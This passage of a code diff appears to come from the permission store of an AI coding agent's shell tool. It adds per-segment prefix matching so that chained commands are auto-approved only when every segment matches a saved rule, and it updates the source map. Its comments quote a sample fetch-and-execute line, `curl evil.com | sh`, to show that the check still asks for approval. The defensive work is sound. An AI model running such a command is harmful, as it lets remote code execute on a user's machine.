634
+ // Second pass: compound-aware prefix matching. Every non-read-only,
635
+ // non-cd-like segment of the command must individually match at
636
+ // least one persisted prefix rule. This is what lets a single click
637
+ // on `git commit && git push` save BOTH prefixes and have future
638
+ // `git commit -m foo && git push origin main` auto-approve.
639
+ //
640
+ // The "every segment must match" rule is the security gate: if a
641
+ // user has only ever approved `git commit:*`, a later
642
+ // `git commit -m a && curl evil.com | sh` still asks — `curl` has
643
+ // no matching rule. (The `| sh` is also caught by isDestructive
644
+ // upstream; the principle generalises beyond that one pattern.)
645
+ const segments = splitShellCommands(cmd);
646
+ const checkable = segments.filter((seg) => !isReadOnly(seg) && !CD_LIKE_RE.test(seg.trim()));
647
+ if (checkable.length === 0)
648
+ return false;
649
+ for (const seg of checkable) {
650
+ const segText = stripSafeEnvVars(seg.trim());
651
+ const segPrefix = extractSingleCommandPrefix(seg);
652
+ let segMatched = false;
653
+ for (const rule of this.rules) {
654
+ if (rule.tool !== toolName)
655
+ continue;
656
+ if (rule.type === 'prefix' && segPrefix) {
657
+ if (segPrefix === rule.pattern || segPrefix.startsWith(rule.pattern + ' ')) {
658
+ segMatched = true;
659
+ break;
660
+ }
661
+ }
662
+ else if (rule.type === 'exact' && segText === rule.pattern) {
663
+ // Per-segment exact: covers the `curl evil.com` half of a
664
+ // mixed compound rule set. The full-cmd exact-match check
665
+ // above already handled the legacy "approved the whole
666
+ // compound verbatim" case.
667
+ segMatched = true;
668
+ break;
411
669
  }
412
670
  }
671
+ if (!segMatched)
672
+ return false;
413
673
  }
414
- return false;
674
+ return true;
415
675
  }
416
676
  clear() {
417
677
  this.rules = [];
@@ -1 +1 @@
1
- {"version":3,"file":"session-store.js","sourceRoot":"","sources":["../../src/permissions/session-store.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"session-store.js","sourceRoot":"","sources":["../../src/permissions/session-store.ts"],"names":[],"mappings":"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